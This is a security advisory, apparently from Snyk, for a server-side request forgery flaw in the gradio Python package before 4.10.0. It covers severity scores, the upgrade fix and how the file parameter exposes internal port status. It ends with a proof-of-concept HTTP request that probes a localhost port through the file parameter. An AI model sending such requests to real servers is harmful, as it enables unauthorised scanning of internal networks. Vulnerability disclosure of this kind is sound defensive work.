Server-side Request Forgery (SSRF) Affecting gradio package, versions [,4.10.0)


0.0
medium

Snyk CVSS

    Attack Complexity Low
    User Interaction Required
    Confidentiality High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.08% (32nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-GRADIO-6615844
  • published 16 Apr 2024
  • disclosed 16 Apr 2024
  • credit ranjit-git

How to fix?

Upgrade gradio to version 4.10.0 or higher.

Overview

gradio is a Python library for easily interacting with trained machine learning models

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the file parameter. An attacker can scan and identify open ports within an internal network by discerning the status of internal ports based on the presence of a 'Location' header or a 'File not allowed' error in the response.

PoC

GET /file=http://localhost:8182/ HTTP/1.1
Host: 127.0.0.1:7860
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1:7860/
Origin: http://127.0.0.1:7860
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin